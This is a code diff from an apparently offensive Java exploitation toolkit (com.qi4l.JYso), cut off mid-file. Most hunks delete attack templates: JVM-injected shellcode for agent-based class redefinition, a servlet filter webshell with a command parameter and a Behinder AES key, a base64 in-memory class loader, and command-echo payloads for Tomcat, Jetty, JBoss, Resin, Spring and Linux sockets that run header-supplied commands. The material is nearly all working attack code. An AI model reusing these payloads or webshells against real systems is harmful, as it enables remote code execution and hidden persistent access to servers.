buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3};
stub = new byte[]{0x44, 0x43, 0x42, 0x41};
}
buf = replaceBytes(buf, stub, long2ByteArray_Little_Endian(JPLISAgent + pointerLength, pointerLength));
classBody[7] = 0x32;
try {
System.loadLibrary("attach");
enqueue(-1, buf, "enqueue", "enqueue");
} catch (Exception e) {
e.printStackTrace();
return;
}
long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength);
if (pointerLength == 4) {
unsafe.putByte(native_jvmtienv + 201, (byte) 2);
} else {
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
}
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[]{
new ClassDefinition[]{
definition
}
});
} catch (Throwable error) {
error.printStackTrace();
throw error;
}
}
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object... args) throws IOException;
/**
* long 转字节数组,小端
*/
public static byte[] long2ByteArray_Little_Endian(long l, int length) {
byte[] array = new byte[length];
for (int i = 0; i < array.length; i++) {
array[i] = (byte) (l >> (i * 8));
}
return array;
}
private static byte[] replaceBytes(byte[] bytes, byte[] byteSource, byte[] byteTarget) {
for (int i = 0; i < bytes.length; i++) {
boolean bl = true;//从当前下标开始的字节是否与欲替换字节相等;
for (int j = 0; j < byteSource.length; j++) {
if (i + j < bytes.length && bytes[i + j] == byteSource[j]) {
} else {
bl = false;
}
}
if (bl) {
System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length);
}
}
return bytes;
}
}
@@ -1,108 +0,0 @@
package com.qi4l.JYso.template.Agent.utli;
import javassist.*;
import java.util.ArrayList;
import java.util.List;
public class ClassModifier {
// Hook 类信息,类名,方法名,方法参数(逗号分隔)
public static ArrayList<String> HOOK_CLASS_INFORMATION_MAP = new ArrayList<String>();
// Hook 类方法字符串
public static String HOOK_METHOD_CODE;
public static List<Object> insert() throws Exception {
// 初始化要 hook 的方法信息
initHookClassINFORMATION();
List<Object> classObj = getHookClassBytes();
if (classObj == null) {
return null;
}
String targetClassName = classObj.get(0).toString();
byte[] targetClassBody = (byte[]) classObj.get(1);
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ByteArrayClassPath(targetClassName, targetClassBody));
CtClass targetClass = cp.get(targetClassName);
String methodName = HOOK_CLASS_INFORMATION_MAP.get(1);
String[] paramList = HOOK_CLASS_INFORMATION_MAP.get(2).split(",");
List<CtClass> paramClasses = new ArrayList<CtClass>();
for (String param : paramList) {
CtClass ctClass = cp.get(param);
paramClasses.add(ctClass);
}
CtMethod ctMethod = targetClass.getDeclaredMethod(methodName, paramClasses.toArray(new CtClass[paramClasses.size()]));
ctMethod.insertBefore(base64Decode(HOOK_METHOD_CODE));
targetClass.detach();
List<Object> list = new ArrayList<Object>();
list.add(targetClassName);
list.add(targetClass.toBytecode());
return list;
}
private static List<Object> getHookClassBytes() throws Exception {
ClassPool classPool = ClassPool.getDefault();
try {
// 用 Javassist 获取目标环境中,目标类的类字节码
String className = HOOK_CLASS_INFORMATION_MAP.get(0);
classPool.insertClassPath(new ClassClassPath(Thread.currentThread().getContextClassLoader().loadClass(className)));
CtClass targetClass = classPool.get(className);
List<Object> obj = new ArrayList<Object>();
obj.add(className);
obj.add(targetClass.toBytecode());
targetClass.detach();
return obj;
} catch (ClassNotFoundException ignored) {
}
return null;
}
public static String base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception ignored) {
}
}
return new String(value);
}
public static void initHookClassINFORMATION() {
// HOOK_CLASS_INFORMATION_MAP.add("javax.servlet.http.HttpServlet");
// HOOK_CLASS_INFORMATION_MAP.add("service");
// HOOK_CLASS_INFORMATION_MAP.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
// ArrayList list1 = new ArrayList();
// list1.add("jakarta.servlet.http.HttpServlet");
// list1.add("service");
// list1.add("jakarta.servlet.ServletRequest,jakarta.servlet.ServletResponse");
//
// HOOK_CLASS_INFORMATION_MAP.add(list1);
//
// ArrayList list2 = new ArrayList();
// list2.add("weblogic.servlet.internal.ServletStubImpl");
// list2.add("execute");
// list2.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
//
// HOOK_CLASS_INFORMATION_MAP.add(list2);
}
}
@@ -1,99 +0,0 @@
package com.qi4l.JYso.template.Agent.utli;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
public class SuURLConnection extends URLConnection {
public static String STREAM_HANDLER_CLASSNAME;
private static List FILES = new ArrayList();
static {
try {
Field fld;
try {
fld = URL.class.getDeclaredField("handlers");
} catch (NoSuchFieldException var7) {
try {
fld = URL.class.getDeclaredField("ph_cache");
} catch (NoSuchFieldException var6) {
throw var7;
}
}
fld.setAccessible(true);
Map handlers = (Map) fld.get((Object) null);
synchronized (handlers) {
Object handler;
if (handlers.containsKey("ysuserial")) {
handler = handlers.get("ysuserial");
} else {
handler = Class.forName(STREAM_HANDLER_CLASSNAME).newInstance();
handlers.put("ysuserial", handler);
}
FILES = (List) handler.getClass().getMethod("getFiles").invoke(handler);
}
} catch (Exception var8) {
throw new RuntimeException(var8.toString());
}
}
// 当前 SuURLConnection 对应的对象
private final byte[] DATA;
private final String contentType;
/**
* 构造方法,根据指定的 URL 格式将 DATA 进行指定赋值
*
* @param url
*/
protected SuURLConnection(URL url) {
super(url);
String file = url.getFile();
int pos = file.indexOf(47);
synchronized (FILES) {
this.DATA = (byte[]) ((byte[]) FILES.get(Integer.parseInt(file.substring(0, pos))));
}
this.contentType = file.substring(pos + 1);
}
/**
* 将一个 URL 对象 byte[])存放在 FILES 中
*
* @param data jar 包字节码数组
* @param contentType 原本是文件路径,这里因为是虚拟的,所以随便写一个标识位就可以
* @return 返回 URL 对象
* @throws MalformedURLException 抛出异常
*/
public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
synchronized (FILES) {
FILES.add(data);
return new URL("ysuserial", "", FILES.size() - 1 + "/" + contentType);
}
}
public void connect() throws IOException {
}
public InputStream getInputStream() throws IOException {
return new ByteArrayInputStream(this.DATA);
}
public int getContentLength() {
return this.DATA.length;
}
public String getContentType() {
return this.contentType;
}
}
@@ -1,39 +0,0 @@
package com.qi4l.JYso.template.Agent.utli;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.List;
public class SuURLStreamHandler {
public static String URL_CONNECTION_CLASSNAME;
private List files = new ArrayList();
public SuURLStreamHandler() {
}
/**
* 与 SuURLConnection 联动的 URLStreamHandler
*
* @param u 特殊的 URL 对象
* @return 返回 SuURLConnection 对象
* @throws IOException 抛出异常
*/
protected URLConnection openConnection(URL u) throws IOException {
try {
Class clazz = Class.forName(URL_CONNECTION_CLASSNAME);
Constructor constructor = clazz.getDeclaredConstructor(URL.class);
constructor.setAccessible(true);
return (URLConnection) constructor.newInstance(u);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public List getFiles() {
return this.files;
}
}
@@ -7,7 +7,7 @@ package com.qi4l.JYso.template;
*/
public class DefineClassFromParameter {
public static String parameter;
public static String parameter = "dc";
static {
try {
@@ -1,101 +0,0 @@
package com.qi4l.JYso.template;
import sun.misc.BASE64Decoder;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
public class DynamicFilterTemplate implements Filter {
private Class myClassLoaderClazz;
private String basicCmdShellPwd = "pass";
private String behinderShellHeader = "X-Options-Ai";
private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond
public DynamicFilterTemplate() {
super();
initialize();
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[+] Dynamic Filter says hello");
if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {
//basic cmd shell
String cmd = servletRequest.getParameter(basicCmdShellPwd);
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (File.separator.equals("/")) {
cmds = new String[]{"/bin/sh", "-c", cmd};
} else {
cmds = new String[]{"cmd", "/C", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
servletResponse.getWriter().println(result);
}
} else if (((HttpServletRequest) servletRequest).getHeader(behinderShellHeader) != null) {
//behind3 shell
try {
if (((HttpServletRequest) servletRequest).getMethod().equals("POST")) {
String k = behinderShellPwd;
((HttpServletRequest) servletRequest).getSession().setAttribute("u", k);
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((((HttpServletRequest) servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine()));
Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader());
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse});
}
} catch (Exception e) {
e.printStackTrace();
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {
}
private void initialize() {
try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
this.myClassLoaderClazz = classLoader.loadClass("com.qi4l.JYso.template.MyClassLoader");
} catch (ClassNotFoundException e) {
String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU=";
byte[] bytes = new BASE64Decoder().decodeBuffer(code);
Method method = null;
try {
method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
}
}
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
}
@@ -1,4 +1,4 @@
/*
package com.qi4l.JYso.template;/*
* Decompiled with CFR 0.152.
*/
@@ -1,12 +0,0 @@
package com.qi4l.JYso.template;
public class MyClassLoader extends ClassLoader {
MyClassLoader(ClassLoader c) {
super(c);
}
public static Class defineClass(byte[] bytes, ClassLoader classLoader) {
return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length);
}
}
@@ -41,11 +41,6 @@ public class ReverseShellTemplate implements Template {
return bytes;
}
@Override
public void cache() {
}
@Override
public void generate() {
ClassWriter cw = new ClassWriter(0);
@@ -5,7 +5,5 @@ public interface Template {
byte[] getBytes();
void cache();
String getClassName();
}
@@ -1,88 +0,0 @@
package com.qi4l.JYso.template.echoConstructor;
public class CAllEcho {
public static String CMD_HEADER = "cmd";
public static java.util.HashSet<Object> h = new java.util.HashSet<Object>();
public static javax.servlet.http.HttpServletRequest r = null;
public static javax.servlet.http.HttpServletResponse p = null;
public CAllEcho() {
F(Thread.currentThread(), 0);
}
private static boolean i(Object obj) {
if (obj == null || h.contains(obj)) {
return true;
}
h.add(obj);
return false;
}
private static void F(Object start, int depth) {
Class n = start.getClass();
do {
java.lang.reflect.Field f = null;
int l = n.getDeclaredFields().length;
for (int i = 0; i < l; i++) {
f = n.getDeclaredFields()[i];
f.setAccessible(true);
Object o = null;
try {
o = f.get(start);
if (!o.getClass().isArray()) {
p(o, depth);
} else {
Object q = null;
Object[] objs = (Object[]) o;
int len = java.lang.reflect.Array.getLength(o);
for (int j = 0; j < len; j++) {
q = objs[j];
p(q, depth);
}
}
} catch (Exception ignored) {
}
}
} while ((n = n.getSuperclass()) != null);
}
private static void p(Object o, int depth) {
if (depth > 52 || (r != null && p != null)) {
return;
}
if (!i(o)) {
if (r == null && javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())) {
r = (javax.servlet.http.HttpServletRequest) o;
if (r.getHeader(CMD_HEADER) == null) {
r = null;
} else {
try {
p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse", new Class[]{}).invoke(r, new Object[]{});
} catch (Exception e) {
r = null;
}
}
}
if (r != null && p != null) {
try {
try {
p.getWriter().println(q(r.getHeader(CMD_HEADER)));
} catch (Exception ignored) {
}
p.getWriter().flush();
p.getWriter().close();
} catch (Exception ignored) {
}
return;
}
F(o, depth + 1);
}
}
public static java.io.ByteArrayOutputStream q(String cmd) {
return null;
}
}
@@ -1,68 +0,0 @@
package com.qi4l.JYso.template.echoConstructor;
public class CJbossEcho {
public static String CMD_HEADER = "cmd";
public CJbossEcho() {
try {
Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest");
String cmd = getMethodAndInvoke(req, "getHeader", new Class[]{String.class}, new Object[]{CMD_HEADER}).toString();
if (cmd != null && !cmd.isEmpty()) {
java.io.ByteArrayOutputStream baos = q(cmd);
try {
// 高版本底层是 undertow
Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl");
Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{});
java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{});
os.write(baos.toByteArray());
os.close();
} catch (ClassNotFoundException ignored) {
Object response = getMethodAndInvoke(req, "getResponse", new Class[]{}, new Object[]{});
if (response == null) {
java.lang.reflect.Field field = req.getClass().getDeclaredField("request");
field.setAccessible(true);
response = getMethodAndInvoke(field.get(req), "getResponse", new Class[]{}, new Object[]{});
}
Object writer = getMethodAndInvoke(response, "getWriter", new Class[]{}, new Object[]{});
getMethodAndInvoke(writer, "write", new Class[]{String.class}, new Object[]{baos.toString()});
getMethodAndInvoke(writer, "flush", new Class[]{}, new Object[]{});
getMethodAndInvoke(writer, "close", new Class[]{}, new Object[]{});
}
}
} catch (Exception ignored) {
}
}
public static java.io.ByteArrayOutputStream q(String cmd) {
return null;
}
public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) {
java.lang.reflect.Method method = null;
while (cs != null) {
try {
method = cs.getDeclaredMethod(methodName, parameters);
method.setAccessible(true);
cs = null;
} catch (Exception e) {
cs = cs.getSuperclass();
}
}
return method;
}
public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) {
try {
java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass);
if (method != null)
return method.invoke(obj, parameters);
} catch (Exception ignored) {
}
return null;
}
}
@@ -1,77 +0,0 @@
package com.qi4l.JYso.template.echoConstructor;
import java.io.ByteArrayOutputStream;
public class CJettyEcho {
public static String CMD_HEADER;
public CJettyEcho() {
try {
Class clazz = Thread.currentThread().getClass();
java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("table");
field.setAccessible(true);
obj = field.get(obj);
Object[] obj_arr = (Object[]) obj;
for (int i = 0; i < obj_arr.length; i++) {
Object o = obj_arr[i];
if (o == null) continue;
field = o.getClass().getDeclaredField("value");
field.setAccessible(true);
obj = field.get(o);
if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) {
Object connection = obj;
java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class<?>) null);
obj = method.invoke(connection, (Object) null);
method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
String cmd = (String) method.invoke(obj, new Object[]{"cmd"});
if (cmd != null && !cmd.isEmpty()) {
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class});
java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(connection, new Object[]{"utf-8"});
printWriter.println(res);
}
break;
} else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) {
java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class<?>) null);
Object httpChannel = method.invoke(obj, (Object) null);
method = httpChannel.getClass().getMethod("getRequest", (Class<?>) null);
obj = method.invoke(httpChannel, (Object) null);
method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
String cmd = (String) method.invoke(obj, new Object[]{CMD_HEADER});
if (cmd != null && !cmd.isEmpty()) {
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
method = httpChannel.getClass().getMethod("getResponse", (Class<?>) null);
obj = method.invoke(httpChannel, (Object) null);
method = obj.getClass().getMethod("getWriter", (Class<?>) null);
java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(obj, (Object) null);
printWriter.println(res);
}
break;
}
}
} catch (Exception ignored) {
}
}
public static ByteArrayOutputStream q(String cmd) {
return null;
}
}
@@ -1,47 +0,0 @@
package com.qi4l.JYso.template.echoConstructor;
public class CLinuxEcho1 {
public CLinuxEcho1() {
try {
String command = "ls -l /proc/$PPID/fd|grep socket:|awk '{print $9}'";
java.util.List<String> list = new java.util.ArrayList<>();
String[] cmd = new String[]{"/bin/sh", "-c", command};
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while ((line = br.readLine()) != null) {
list.add(line);
}
br.close();
java.lang.reflect.Constructor<java.io.FileDescriptor> c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
for (String s : list) {
Integer integer = Integer.parseInt(s);
try {
cmd = new String[]{"/bin/sh", "-c", "ls -l"};
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line + "\n");
}
java.io.FileOutputStream os = new java.io.FileOutputStream(c.newInstance(integer));
os.write(sb.toString().getBytes());
br.close();
os.close();
} catch (Exception e) {
}
}
} catch (Exception ignored) {
}
}
}
@@ -1,66 +0,0 @@
package com.qi4l.JYso.template.echoConstructor;
public class CLinuxEcho2 {
public CLinuxEcho2() {
try {
if (java.io.File.separator.equals("/")) {
String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'";
String[] cmd = new String[]{"/bin/sh", "-c", command};
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
java.util.List res1 = new java.util.ArrayList();
String line = "";
while ((line = br.readLine()) != null && !line.trim().isEmpty()) {
res1.add(line);
}
br.close();
try {
Thread.sleep((long) 2000);
} catch (InterruptedException e) {
//pass
}
command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'";
cmd = new String[]{"/bin/sh", "-c", command};
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
java.util.List res2 = new java.util.ArrayList();
while ((line = br.readLine()) != null && !line.trim().isEmpty()) {
res2.add(line);
}
br.close();
int index = 0;
int max = 0;
for (int i = 0; i < res2.size(); i++) {
try {
String socketNo = ((String) res2.get(i)).split("\\s+")[1].substring(8);
socketNo = socketNo.substring(0, socketNo.length() - 1);
for (int j = 0; j < res1.size(); j++) {
if (!socketNo.equals(res1.get(j))) continue;
if (Integer.parseInt(socketNo) > max) {
max = Integer.parseInt(socketNo);
index = j;
}
break;
}
} catch (Exception e) {
//pass
}
}
int fd = Integer.parseInt(((String) res2.get(index)).split("\\s")[0]);
java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
cmd = new String[]{"/bin/sh", "-c", "id"};
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n";
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(fd)}));
os.write(result.getBytes());
}
} catch (Exception ignored) {
}
}
}
@@ -1,48 +0,0 @@
package com.qi4l.JYso.template.echoConstructor;
public class CResinEcho {
public static String CMD_HEADER;
public CResinEcho() {
try {
Class clazz = Thread.currentThread().getClass();
java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("table");
field.setAccessible(true);
obj = field.get(obj);
Object[] obj_arr = (Object[]) obj;
for (int i = 0; i < obj_arr.length; i++) {
Object o = obj_arr[i];
if (o == null) continue;
field = o.getClass().getDeclaredField("value");
field.setAccessible(true);
obj = field.get(o);
if (obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) {
com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) obj;
String cmd = httpRequest.getHeader(CMD_HEADER);
if (cmd != null && !cmd.isEmpty()) {
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
httpResponse.setHeader("Content-Length", res.length() + "");
java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", (Class<?>) null);
method.setAccessible(true);
com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse, (Object) null);
httpResponseStream.write(res.getBytes(), 0, res.length());
httpResponseStream.close();
}
break;
}
}
} catch (Exception ignored) {
}
}
}
@@ -1,28 +0,0 @@
package com.qi4l.JYso.template.echoConstructor;
public class CSpringEcho {
public static String CMD_HEADER;
public CSpringEcho() {
try {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String cmd = request.getHeader(CMD_HEADER);
if (cmd != null && !cmd.isEmpty()) {
response.getWriter().write(new String(q(cmd).toByteArray()));
}
response.getWriter().flush();
response.getWriter().close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static java.io.ByteArrayOutputStream q(String cmd) {
return null;
}
}
@@ -1,82 +0,0 @@
package com.qi4l.JYso.template.echoConstructor;
// 回显类在jdk17下的改造,解决JDK17下只能加载一次的问题
public class CTomcatEcho {
public static String CMD_HEADER;
public CTomcatEcho() {
try {
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
ClassLoader loader = Thread.currentThread().getContextClassLoader();
